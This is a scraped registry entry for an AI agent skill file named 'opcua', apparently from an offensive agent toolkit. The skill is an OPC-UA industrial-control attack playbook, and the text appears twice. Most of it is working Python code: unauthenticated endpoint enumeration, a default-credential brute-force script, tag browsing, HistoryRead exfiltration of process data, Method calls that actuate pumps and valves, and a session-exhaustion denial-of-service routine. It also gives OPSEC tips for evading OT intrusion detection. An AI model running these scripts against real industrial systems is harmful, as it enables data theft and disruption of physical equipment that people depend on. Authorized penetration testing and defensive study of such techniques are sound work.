[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7983XSHNJEPEJ532A58RVMY":3,"skill-same:01M7983XSHNJEPEJ532A58RVMY":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7983XSHNJEPEJ532A58RVMY","opcua",null,"OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous\u002Fweak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT\u002FOT DMZ convergence protocol replacing legacy fieldbus.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fopcua\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: opcua\ndescription: \"OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous\u002Fweak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT\u002FOT DMZ convergence protocol replacing legacy fieldbus.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"opc opcua opc-ua 4840 unified architecture ics ot scada getendpoints anonymous asyncua opcua-asyncio discovery node address-space historyread session exhaustion\"\n  subdomain: ics-ot\n  tags: opcua, ics, ot, scada, opc-ua\n  mitre_attack: T0855, T0846, T0814, T0882\n---\n\n# OPC-UA Attack Playbook (TCP 4840)\n\nOPC-UA is the dominant modern IT\u002FOT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS\u002FSCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave `SecurityPolicy: None` active for \"backwards compatibility,\" giving full unauthenticated access to the address space.\n\n## SAFETY FIRST\n\nOPC-UA Method calls can directly invoke control actions (start\u002Fstop, setpoint override, firmware update). **Confirm written scope authorization before any call to Method nodes or write to Variable nodes.** Read-only browsing (BrowseRequest, ReadRequest on status\u002Ftelemetry nodes) is generally safe.\n\n## Prerequisites\n\n```bash\n# Install asyncua (successor to python-opcua \u002F opcua-asyncio)\npip install asyncua\n\n# Also useful: opcua-client GUI (optional), opcua-scan\npip install opcua-scan\n# OR clone Wavestone opcua-scan:\n# git clone https:\u002F\u002Fgithub.com\u002Fwavestone-cdt\u002Fopcua-scan\n\n# Confirm target reachability\nnmap -p 4840 --open -sV 10.0.0.0\u002F24\n```\n\n## Phase 1 — Discover\n\n```bash\n# nmap service banner on 4840\nnmap -p 4840 -sV --script=opcua-discovery 10.0.0.5\n\n# OPC UA Hello probe — get the server's application description\n# opcua-scan sends a HEL\u002FACK and reads GetEndpoints without connecting to a session\npython3 -m opcuascan 10.0.0.5:4840\n# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens\n```\n\n## Phase 2 — GetEndpoints (unauthenticated policy enumeration)\n\nGetEndpoints is always available without a session — it's the pre-auth discovery call.\n\n```python\nimport asyncio\nfrom asyncua import Client\n\nasync def get_endpoints():\n    url = \"opc.tcp:\u002F\u002F10.0.0.5:4840\"\n    # Use None security policy — client sends HEL, gets ACK, calls GetEndpoints\n    async with Client(url=url) as client:\n        endpoints = await client.get_endpoints()\n        for ep in endpoints:\n            print(f\"URL: {ep.EndpointUrl}\")\n            print(f\"  SecurityMode: {ep.SecurityMode}\")       # 1=None, 2=Sign, 3=SignAndEncrypt\n            print(f\"  SecurityPolicy: {ep.SecurityPolicyUri}\")\n            for tok in ep.UserIdentityTokens:\n                print(f\"  Token: {tok.TokenType}\")  # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken\n\nasyncio.run(get_endpoints())\n```\n\nKey findings to record:\n- `SecurityMode: 1` (None) + `SecurityPolicy: http:\u002F\u002Fopcfoundation.org\u002FUA\u002FSecurityPolicy#None` → plaintext, no signing. Traffic is readable in Wireshark.\n- `TokenType: 0` (Anonymous) accepted → no credentials needed.\n- `TokenType: 1` (UserName) present → attempt default\u002Fdictionary creds.\n\n## Phase 3 — Auth testing\n\n### Anonymous connect\n\n```python\nimport asyncio\nfrom asyncua import Client\n\nasync def anon_connect():\n    url = \"opc.tcp:\u002F\u002F10.0.0.5:4840\u002FOPCUA\u002FSimulationServer\"\n    async with Client(url=url) as client:\n        # No credentials set — asyncua defaults to Anonymous token\n        root = client.get_root_node()\n        print(\"Root node:\", await root.read_browse_name())\n        # Successful connection here = Anonymous accepted\n        server_node = client.get_server_node()\n        status = await server_node.get_child([\"0:ServerStatus\"])\n        print(\"Server status:\", await status.read_value())\n\nasyncio.run(anon_connect())\n```\n\n### Username\u002Fpassword dictionary attack\n\n```python\nimport asyncio\nfrom asyncua import Client\nfrom asyncua.ua import uaerrors\n\nDEFAULT_CREDS = [\n    (\"admin\", \"admin\"), (\"administrator\", \"administrator\"),\n    (\"opcua\", \"opcua\"), (\"user\", \"user\"), (\"guest\", \"\"),\n    (\"operator\", \"operator\"), (\"root\", \"root\"), (\"OpcUaClient\", \"\"),\n    (\"Anonymous\", \"\"), (\"siemens\", \"siemens\"), (\"admin\", \"\"),\n]\n\nasync def brute_opcua(url):\n    for user, pwd in DEFAULT_CREDS:\n        try:\n            async with Client(url=url) as client:\n                await client.set_user(user)\n                await client.set_password(pwd)\n                await client.connect()\n                print(f\"[+] VALID: {user}:{pwd}\")\n                return user, pwd\n        except uaerrors.BadUserAccessDenied:\n            print(f\"[-] {user}:{pwd} — denied\")\n        except uaerrors.BadIdentityTokenRejected:\n            print(f\"[-] {user}:{pwd} — rejected\")\n        except Exception as e:\n            print(f\"[!] {user}:{pwd} — {e}\")\n    return None, None\n\nasyncio.run(brute_opcua(\"opc.tcp:\u002F\u002F10.0.0.5:4840\"))\n```\n\n## Phase 4 — Address-space browsing and tag read\n\nOnce authenticated (anonymous or credentialed):\n\n```python\nimport asyncio\nfrom asyncua import Client, ua\n\nasync def browse_and_read(url, depth=3):\n    async with Client(url=url) as client:\n        # Browse from Objects folder (standard entry point for process data)\n        objects = client.get_objects_node()\n\n        async def recurse(node, level=0):\n            try:\n                children = await node.get_children()\n                name = await node.read_browse_name()\n                print(\"  \" * level + f\"[{name.Name}] NodeId={node.nodeid}\")\n                for child in children:\n                    cls = await child.read_node_class()\n                    if cls == ua.NodeClass.Variable:\n                        try:\n                            val = await child.read_value()\n                            cname = await child.read_browse_name()\n                            print(\"  \" * (level+1) + f\"VAR {cname.Name} = {val}\")\n                        except Exception:\n                            pass\n                    if level \u003C depth:\n                        await recurse(child, level + 1)\n            except Exception as e:\n                print(\"  \" * level + f\"[browse error: {e}]\")\n\n        await recurse(objects)\n\nasyncio.run(browse_and_read(\"opc.tcp:\u002F\u002F10.0.0.5:4840\"))\n```\n\nKey nodes to target:\n- `Objects\u002FServer\u002FServerStatus` — build info, start time, current time (always readable, even anonymous)\n- `Objects\u002FDeviceSet\u002F` or `Objects\u002F\u003CVendorNamespace>\u002F` — vendor-specific process variables\n- Node class `Method` — callable control actions (pump start, valve position, firmware upload)\n\n### Read ServerStatus for vendor\u002Fversion fingerprint\n\n```python\nasync with Client(url=url) as client:\n    nsidx = await client.get_namespace_index(\"http:\u002F\u002Fopcfoundation.org\u002FUA\u002F\")\n    build_info = await client.nodes.server.get_child([\"0:ServerStatus\", \"0:BuildInfo\"])\n    product = await build_info.get_child([\"0:ProductName\"])\n    version = await build_info.get_child([\"0:SoftwareVersion\"])\n    print(await product.read_value(), await version.read_value())\n    # e.g.: \"Prosys OPC UA Simulation Server\" \"5.4.6\"\n    # e.g.: \"Unified Automation UaGateway\" \"3.3.0\"\n    # e.g.: \"open62541\" \"1.3.6\"\n```\n\n## Phase 5 — HistoryRead (process data exfiltration)\n\nMany historian\u002FSCADA OPC-UA servers expose historical process values via `HistoryRead`. This can dump weeks of sensor\u002Ftag data unauthenticated.\n\n```python\nimport asyncio\nfrom asyncua import Client, ua\nfrom datetime import datetime, timedelta, timezone\n\nasync def history_read(url, node_id_str):\n    async with Client(url=url) as client:\n        node = client.get_node(node_id_str)  # e.g. \"ns=2;s=Temperature\"\n        end_time = datetime.now(timezone.utc)\n        start_time = end_time - timedelta(hours=24)\n\n        result = await client.history_read(\n            nodes=[node],\n            pe=ua.ReadRawModifiedDetails(\n                IsReadModified=False,\n                StartTime=start_time,\n                EndTime=end_time,\n                NumValuesPerNode=1000,\n                ReturnBounds=True,\n            )\n        )\n        for dv in result[0].HistoryData.DataValues:\n            print(f\"  {dv.SourceTimestamp}  {dv.Value.Value}\")\n\nasyncio.run(history_read(\"opc.tcp:\u002F\u002F10.0.0.5:4840\", \"ns=2;s=Temperature\"))\n```\n\n## Phase 6 — Method node calls (write-class, SAFETY GATE)\n\n> **STOP. Write-class authorization required before executing this phase.**\n> Method calls may directly actuate physical equipment.\n\n```python\nimport asyncio\nfrom asyncua import Client, ua\n\nasync def call_method(url, object_node_id, method_node_id, *args):\n    \"\"\"\n    Call an OPC UA Method node.\n    object_node_id: NodeId of the parent Object (e.g. \"ns=2;s=PumpController\")\n    method_node_id: NodeId of the Method (e.g. \"ns=2;s=PumpController.Start\")\n    \"\"\"\n    async with Client(url=url) as client:\n        obj = client.get_node(object_node_id)\n        method = client.get_node(method_node_id)\n        result = await obj.call_method(method, *args)\n        print(\"Method result:\", result)\n\n# Example: call a simulated start method\n# asyncio.run(call_method(\"opc.tcp:\u002F\u002F10.0.0.5:4840\",\n#     \"ns=2;s=PumpController\", \"ns=2;s=PumpController.Start\"))\n```\n\nEnumeration of available methods (read-only, safe):\n\n```python\nasync with Client(url=url) as client:\n    objects = client.get_objects_node()\n    async def find_methods(node, level=0):\n        try:\n            for child in await node.get_children():\n                cls = await child.read_node_class()\n                if cls == ua.NodeClass.Method:\n                    name = await child.read_browse_name()\n                    print(\"  \" * level + f\"[METHOD] {name.Name}  NodeId={child.nodeid}\")\n                elif cls in (ua.NodeClass.Object, ua.NodeClass.ObjectType):\n                    if level \u003C 4:\n                        await find_methods(child, level + 1)\n        except Exception:\n            pass\n    await find_methods(objects)\n```\n\n## Phase 7 — Session exhaustion DoS\n\nCVE-2024-53429 (open62541 \u003C= 1.3.12) and CVE-2025-7390 (Softing OPC UA C++ SDK) involve oversized ExtensionObject \u002F replay leading to server crash or excessive resource consumption. Generic session flooding is applicable to servers with no connection limit:\n\n```python\nimport asyncio\nfrom asyncua import Client\n\nasync def exhaust_sessions(url, count=500):\n    \"\"\"Open many sessions without closing them — exhausts server thread pool \u002F session table.\"\"\"\n    clients = []\n    for i in range(count):\n        try:\n            c = Client(url=url)\n            await c.connect()\n            clients.append(c)\n            if i % 50 == 0:\n                print(f\"  {i} sessions open\")\n        except Exception as e:\n            print(f\"  Session {i} failed: {e} — server may be saturated\")\n            break\n    print(f\"Total open sessions: {len(clients)}\")\n    # Note: gate behind explicit DoS authorization. Leaving sessions open will\n    # degrade or crash production servers.\n    for c in clients:\n        try:\n            await c.disconnect()\n        except Exception:\n            pass\n\n# asyncio.run(exhaust_sessions(\"opc.tcp:\u002F\u002F10.0.0.5:4840\"))\n```\n\n> Gate this behind `permitted_actions: denial_of_service`. Do not run against production without explicit sign-off.\n\n## Common findings\n\n| Finding | MITRE | Impact |\n|---|---|---|\n| SecurityPolicy: None accepted | T0882 | Full plaintext traffic; passive sniff reveals tag values + credentials |\n| Anonymous access to Objects node | T0855 | Read process telemetry without credentials |\n| Anonymous HistoryRead | T0846 | Exfiltrate weeks of process historian data |\n| Default credentials (admin\u002Fadmin) | T0814 | Full authenticated access; potential Method call |\n| Method nodes callable without write authorization | T0836 | Control actions (pump\u002Fvalve\u002Fsetpoint) with no auth barrier |\n| No session limit (DoS via exhaustion) | T0814 | Crash or freeze OPC-UA server, disrupting HMI\u002FSCADA polling |\n| Internet-exposed OPC-UA (Shodan: port:4840) | T0882 | Direct ICS access from internet |\n\n## Evidence\n\nOn anonymous or credentialed access, persist:\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=\"OPC-UA anonymous access \u002F SecurityPolicy None\",\n    props={\n        \"key\": f\"opcua-anon::{target_ip}\",\n        \"protocol\": \"opc-ua\",\n        \"port\": 4840,\n        \"security_mode\": \"None\",\n        \"anonymous_access\": True,\n        \"server_product\": \"\u003CProductName>\",\n        \"server_version\": \"\u003CSoftwareVersion>\",\n        \"nodes_readable\": \"\u003Ccount>\",\n        \"source\": \"asyncua-getendpoints+browse\",\n    },\n)\n```\n\nOn credential find:\n\n```python\nkg_add_node(\n    kind=\"credential\",\n    label=f\"OPC-UA credential on {target_ip}\",\n    props={\n        \"key\": f\"opcua-cred::{target_ip}\",\n        \"secret_type\": \"opcua_username\",\n        \"username\": user,\n        \"password\": pwd,\n        \"target\": target_ip,\n        \"port\": 4840,\n        \"source\": \"opcua-brute\",\n    },\n)\n```\n\n## ZFP (two-method evidence)\n\n1. `asyncua` output showing GetEndpoints response with `SecurityMode=1` and\u002For `TokenType=Anonymous`.\n2. Browse dump listing at least one process Variable node with a read value, OR hashcat-style session log showing valid credential.\n\n## OPSEC notes\n\n- GetEndpoints and anonymous Browse generate no auth event in most OPC-UA server logs. Behaviorally quiet.\n- Credentialed sessions generate an `AuditCreateSessionEvent` and `AuditActivateSessionEvent` in the OPC-UA audit log if the server has `AuditingEnabled=True`. Check `ns=0;i=2994` (AuditingEnabled) before credentialed ops.\n- Claroty \u002F Nozomi OT NDR platforms signature-detect OPC-UA anonymous sessions and unusual HistoryRead volumes. Use rate-limiting in enumerate loops.\n- CVE-2024-53429 and CVE-2025-7390 crashes are irreversible remotely; check server software version before any DoS testing.\n- Physical-safety gate: any Variable write or Method call may affect a physical actuator. Treat all write-class operations as requiring explicit scope authorization.\n\n## References\n\n- asyncua docs — github.com\u002FFreeOpcUa\u002Fopcua-asyncio\n- opcua-scan (Wavestone) — github.com\u002Fwavestone-cdt\u002Fopcua-scan\n- Claroty Team82 OPC-UA research — claroty.com\u002Fteam82\u002Fresearch\u002Fopcua\n- arXiv 2003.12341 — \"A Systematic Methodology for ICS OPC-UA Security Assessment\"\n- CVE-2024-53429 — open62541 session handling DoS\n- CVE-2025-7390 — Softing OPC UA C++ SDK replay\n- ICS-CERT advisories — cisa.gov\u002Fuscert\u002Fics\u002Fadvisories\n- OPC Foundation UA Specification Part 2 (Security Model), Part 4 (Services)\n","# OPC-UA Attack Playbook (TCP 4840)\n\nOPC-UA is the dominant modern IT\u002FOT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS\u002FSCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave `SecurityPolicy: None` active for \"backwards compatibility,\" giving full unauthenticated access to the address space.\n\n## SAFETY FIRST\n\nOPC-UA Method calls can directly invoke control actions (start\u002Fstop, setpoint override, firmware update). **Confirm written scope authorization before any call to Method nodes or write to Variable nodes.** Read-only browsing (BrowseRequest, ReadRequest on status\u002Ftelemetry nodes) is generally safe.\n\n## Prerequisites\n\n```bash\n# Install asyncua (successor to python-opcua \u002F opcua-asyncio)\npip install asyncua\n\n# Also useful: opcua-client GUI (optional), opcua-scan\npip install opcua-scan\n# OR clone Wavestone opcua-scan:\n# git clone https:\u002F\u002Fgithub.com\u002Fwavestone-cdt\u002Fopcua-scan\n\n# Confirm target reachability\nnmap -p 4840 --open -sV 10.0.0.0\u002F24\n```\n\n## Phase 1 — Discover\n\n```bash\n# nmap service banner on 4840\nnmap -p 4840 -sV --script=opcua-discovery 10.0.0.5\n\n# OPC UA Hello probe — get the server's application description\n# opcua-scan sends a HEL\u002FACK and reads GetEndpoints without connecting to a session\npython3 -m opcuascan 10.0.0.5:4840\n# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens\n```\n\n## Phase 2 — GetEndpoints (unauthenticated policy enumeration)\n\nGetEndpoints is always available without a session — it's the pre-auth discovery call.\n\n```python\nimport asyncio\nfrom asyncua import Client\n\nasync def get_endpoints():\n    url = \"opc.tcp:\u002F\u002F10.0.0.5:4840\"\n    # Use None security policy — client sends HEL, gets ACK, calls GetEndpoints\n    async with Client(url=url) as client:\n        endpoints = await client.get_endpoints()\n        for ep in endpoints:\n            print(f\"URL: {ep.EndpointUrl}\")\n            print(f\"  SecurityMode: {ep.SecurityMode}\")       # 1=None, 2=Sign, 3=SignAndEncrypt\n            print(f\"  SecurityPolicy: {ep.SecurityPolicyUri}\")\n            for tok in ep.UserIdentityTokens:\n                print(f\"  Token: {tok.TokenType}\")  # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken\n\nasyncio.run(get_endpoints())\n```\n\nKey findings to record:\n- `SecurityMode: 1` (None) + `SecurityPolicy: http:\u002F\u002Fopcfoundation.org\u002FUA\u002FSecurityPolicy#None` → plaintext, no signing. Traffic is readable in Wireshark.\n- `TokenType: 0` (Anonymous) accepted → no credentials needed.\n- `TokenType: 1` (UserName) present → attempt default\u002Fdictionary creds.\n\n## Phase 3 — Auth testing\n\n### Anonymous connect\n\n```python\nimport asyncio\nfrom asyncua import Client\n\nasync def anon_connect():\n    url = \"opc.tcp:\u002F\u002F10.0.0.5:4840\u002FOPCUA\u002FSimulationServer\"\n    async with Client(url=url) as client:\n        # No credentials set — asyncua defaults to Anonymous token\n        root = client.get_root_node()\n        print(\"Root node:\", await root.read_browse_name())\n        # Successful connection here = Anonymous accepted\n        server_node = client.get_server_node()\n        status = await server_node.get_child([\"0:ServerStatus\"])\n        print(\"Server status:\", await status.read_value())\n\nasyncio.run(anon_connect())\n```\n\n### Username\u002Fpassword dictionary attack\n\n```python\nimport asyncio\nfrom asyncua import Client\nfrom asyncua.ua import uaerrors\n\nDEFAULT_CREDS = [\n    (\"admin\", \"admin\"), (\"administrator\", \"administrator\"),\n    (\"opcua\", \"opcua\"), (\"user\", \"user\"), (\"guest\", \"\"),\n    (\"operator\", \"operator\"), (\"root\", \"root\"), (\"OpcUaClient\", \"\"),\n    (\"Anonymous\", \"\"), (\"siemens\", \"siemens\"), (\"admin\", \"\"),\n]\n\nasync def brute_opcua(url):\n    for user, pwd in DEFAULT_CREDS:\n        try:\n            async with Client(url=url) as client:\n                await client.set_user(user)\n                await client.set_password(pwd)\n                await client.connect()\n                print(f\"[+] VALID: {user}:{pwd}\")\n                return user, pwd\n        except uaerrors.BadUserAccessDenied:\n            print(f\"[-] {user}:{pwd} — denied\")\n        except uaerrors.BadIdentityTokenRejected:\n            print(f\"[-] {user}:{pwd} — rejected\")\n        except Exception as e:\n            print(f\"[!] {user}:{pwd} — {e}\")\n    return None, None\n\nasyncio.run(brute_opcua(\"opc.tcp:\u002F\u002F10.0.0.5:4840\"))\n```\n\n## Phase 4 — Address-space browsing and tag read\n\nOnce authenticated (anonymous or credentialed):\n\n```python\nimport asyncio\nfrom asyncua import Client, ua\n\nasync def browse_and_read(url, depth=3):\n    async with Client(url=url) as client:\n        # Browse from Objects folder (standard entry point for process data)\n        objects = client.get_objects_node()\n\n        async def recurse(node, level=0):\n            try:\n                children = await node.get_children()\n                name = await node.read_browse_name()\n                print(\"  \" * level + f\"[{name.Name}] NodeId={node.nodeid}\")\n                for child in children:\n                    cls = await child.read_node_class()\n                    if cls == ua.NodeClass.Variable:\n                        try:\n                            val = await child.read_value()\n                            cname = await child.read_browse_name()\n                            print(\"  \" * (level+1) + f\"VAR {cname.Name} = {val}\")\n                        except Exception:\n                            pass\n                    if level \u003C depth:\n                        await recurse(child, level + 1)\n            except Exception as e:\n                print(\"  \" * level + f\"[browse error: {e}]\")\n\n        await recurse(objects)\n\nasyncio.run(browse_and_read(\"opc.tcp:\u002F\u002F10.0.0.5:4840\"))\n```\n\nKey nodes to target:\n- `Objects\u002FServer\u002FServerStatus` — build info, start time, current time (always readable, even anonymous)\n- `Objects\u002FDeviceSet\u002F` or `Objects\u002F\u003CVendorNamespace>\u002F` — vendor-specific process variables\n- Node class `Method` — callable control actions (pump start, valve position, firmware upload)\n\n### Read ServerStatus for vendor\u002Fversion fingerprint\n\n```python\nasync with Client(url=url) as client:\n    nsidx = await client.get_namespace_index(\"http:\u002F\u002Fopcfoundation.org\u002FUA\u002F\")\n    build_info = await client.nodes.server.get_child([\"0:ServerStatus\", \"0:BuildInfo\"])\n    product = await build_info.get_child([\"0:ProductName\"])\n    version = await build_info.get_child([\"0:SoftwareVersion\"])\n    print(await product.read_value(), await version.read_value())\n    # e.g.: \"Prosys OPC UA Simulation Server\" \"5.4.6\"\n    # e.g.: \"Unified Automation UaGateway\" \"3.3.0\"\n    # e.g.: \"open62541\" \"1.3.6\"\n```\n\n## Phase 5 — HistoryRead (process data exfiltration)\n\nMany historian\u002FSCADA OPC-UA servers expose historical process values via `HistoryRead`. This can dump weeks of sensor\u002Ftag data unauthenticated.\n\n```python\nimport asyncio\nfrom asyncua import Client, ua\nfrom datetime import datetime, timedelta, timezone\n\nasync def history_read(url, node_id_str):\n    async with Client(url=url) as client:\n        node = client.get_node(node_id_str)  # e.g. \"ns=2;s=Temperature\"\n        end_time = datetime.now(timezone.utc)\n        start_time = end_time - timedelta(hours=24)\n\n        result = await client.history_read(\n            nodes=[node],\n            pe=ua.ReadRawModifiedDetails(\n                IsReadModified=False,\n                StartTime=start_time,\n                EndTime=end_time,\n                NumValuesPerNode=1000,\n                ReturnBounds=True,\n            )\n        )\n        for dv in result[0].HistoryData.DataValues:\n            print(f\"  {dv.SourceTimestamp}  {dv.Value.Value}\")\n\nasyncio.run(history_read(\"opc.tcp:\u002F\u002F10.0.0.5:4840\", \"ns=2;s=Temperature\"))\n```\n\n## Phase 6 — Method node calls (write-class, SAFETY GATE)\n\n> **STOP. Write-class authorization required before executing this phase.**\n> Method calls may directly actuate physical equipment.\n\n```python\nimport asyncio\nfrom asyncua import Client, ua\n\nasync def call_method(url, object_node_id, method_node_id, *args):\n    \"\"\"\n    Call an OPC UA Method node.\n    object_node_id: NodeId of the parent Object (e.g. \"ns=2;s=PumpController\")\n    method_node_id: NodeId of the Method (e.g. \"ns=2;s=PumpController.Start\")\n    \"\"\"\n    async with Client(url=url) as client:\n        obj = client.get_node(object_node_id)\n        method = client.get_node(method_node_id)\n        result = await obj.call_method(method, *args)\n        print(\"Method result:\", result)\n\n# Example: call a simulated start method\n# asyncio.run(call_method(\"opc.tcp:\u002F\u002F10.0.0.5:4840\",\n#     \"ns=2;s=PumpController\", \"ns=2;s=PumpController.Start\"))\n```\n\nEnumeration of available methods (read-only, safe):\n\n```python\nasync with Client(url=url) as client:\n    objects = client.get_objects_node()\n    async def find_methods(node, level=0):\n        try:\n            for child in await node.get_children():\n                cls = await child.read_node_class()\n                if cls == ua.NodeClass.Method:\n                    name = await child.read_browse_name()\n                    print(\"  \" * level + f\"[METHOD] {name.Name}  NodeId={child.nodeid}\")\n                elif cls in (ua.NodeClass.Object, ua.NodeClass.ObjectType):\n                    if level \u003C 4:\n                        await find_methods(child, level + 1)\n        except Exception:\n            pass\n    await find_methods(objects)\n```\n\n## Phase 7 — Session exhaustion DoS\n\nCVE-2024-53429 (open62541 \u003C= 1.3.12) and CVE-2025-7390 (Softing OPC UA C++ SDK) involve oversized ExtensionObject \u002F replay leading to server crash or excessive resource consumption. Generic session flooding is applicable to servers with no connection limit:\n\n```python\nimport asyncio\nfrom asyncua import Client\n\nasync def exhaust_sessions(url, count=500):\n    \"\"\"Open many sessions without closing them — exhausts server thread pool \u002F session table.\"\"\"\n    clients = []\n    for i in range(count):\n        try:\n            c = Client(url=url)\n            await c.connect()\n            clients.append(c)\n            if i % 50 == 0:\n                print(f\"  {i} sessions open\")\n        except Exception as e:\n            print(f\"  Session {i} failed: {e} — server may be saturated\")\n            break\n    print(f\"Total open sessions: {len(clients)}\")\n    # Note: gate behind explicit DoS authorization. Leaving sessions open will\n    # degrade or crash production servers.\n    for c in clients:\n        try:\n            await c.disconnect()\n        except Exception:\n            pass\n\n# asyncio.run(exhaust_sessions(\"opc.tcp:\u002F\u002F10.0.0.5:4840\"))\n```\n\n> Gate this behind `permitted_actions: denial_of_service`. Do not run against production without explicit sign-off.\n\n## Common findings\n\n| Finding | MITRE | Impact |\n|---|---|---|\n| SecurityPolicy: None accepted | T0882 | Full plaintext traffic; passive sniff reveals tag values + credentials |\n| Anonymous access to Objects node | T0855 | Read process telemetry without credentials |\n| Anonymous HistoryRead | T0846 | Exfiltrate weeks of process historian data |\n| Default credentials (admin\u002Fadmin) | T0814 | Full authenticated access; potential Method call |\n| Method nodes callable without write authorization | T0836 | Control actions (pump\u002Fvalve\u002Fsetpoint) with no auth barrier |\n| No session limit (DoS via exhaustion) | T0814 | Crash or freeze OPC-UA server, disrupting HMI\u002FSCADA polling |\n| Internet-exposed OPC-UA (Shodan: port:4840) | T0882 | Direct ICS access from internet |\n\n## Evidence\n\nOn anonymous or credentialed access, persist:\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=\"OPC-UA anonymous access \u002F SecurityPolicy None\",\n    props={\n        \"key\": f\"opcua-anon::{target_ip}\",\n        \"protocol\": \"opc-ua\",\n        \"port\": 4840,\n        \"security_mode\": \"None\",\n        \"anonymous_access\": True,\n        \"server_product\": \"\u003CProductName>\",\n        \"server_version\": \"\u003CSoftwareVersion>\",\n        \"nodes_readable\": \"\u003Ccount>\",\n        \"source\": \"asyncua-getendpoints+browse\",\n    },\n)\n```\n\nOn credential find:\n\n```python\nkg_add_node(\n    kind=\"credential\",\n    label=f\"OPC-UA credential on {target_ip}\",\n    props={\n        \"key\": f\"opcua-cred::{target_ip}\",\n        \"secret_type\": \"opcua_username\",\n        \"username\": user,\n        \"password\": pwd,\n        \"target\": target_ip,\n        \"port\": 4840,\n        \"source\": \"opcua-brute\",\n    },\n)\n```\n\n## ZFP (two-method evidence)\n\n1. `asyncua` output showing GetEndpoints response with `SecurityMode=1` and\u002For `TokenType=Anonymous`.\n2. Browse dump listing at least one process Variable node with a read value, OR hashcat-style session log showing valid credential.\n\n## OPSEC notes\n\n- GetEndpoints and anonymous Browse generate no auth event in most OPC-UA server logs. Behaviorally quiet.\n- Credentialed sessions generate an `AuditCreateSessionEvent` and `AuditActivateSessionEvent` in the OPC-UA audit log if the server has `AuditingEnabled=True`. Check `ns=0;i=2994` (AuditingEnabled) before credentialed ops.\n- Claroty \u002F Nozomi OT NDR platforms signature-detect OPC-UA anonymous sessions and unusual HistoryRead volumes. Use rate-limiting in enumerate loops.\n- CVE-2024-53429 and CVE-2025-7390 crashes are irreversible remotely; check server software version before any DoS testing.\n- Physical-safety gate: any Variable write or Method call may affect a physical actuator. Treat all write-class operations as requiring explicit scope authorization.\n\n## References\n\n- asyncua docs — github.com\u002FFreeOpcUa\u002Fopcua-asyncio\n- opcua-scan (Wavestone) — github.com\u002Fwavestone-cdt\u002Fopcua-scan\n- Claroty Team82 OPC-UA research — claroty.com\u002Fteam82\u002Fresearch\u002Fopcua\n- arXiv 2003.12341 — \"A Systematic Methodology for ICS OPC-UA Security Assessment\"\n- CVE-2024-53429 — open62541 session handling DoS\n- CVE-2025-7390 — Softing OPC UA C++ SDK replay\n- ICS-CERT advisories — cisa.gov\u002Fuscert\u002Fics\u002Fadvisories\n- OPC Foundation UA Specification Part 2 (Security Model), Part 4 (Services)\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"opcua, ics, ot, scada, opc-ua","ics-ot","opc opcua opc-ua 4840 unified architecture ics ot scada getendpoints anonymous asyncua opcua-asyncio discovery node address-space historyread session exhaustion","T0855, T0846, T0814, T0882","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fopcua",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill opcua",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill opcua",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill 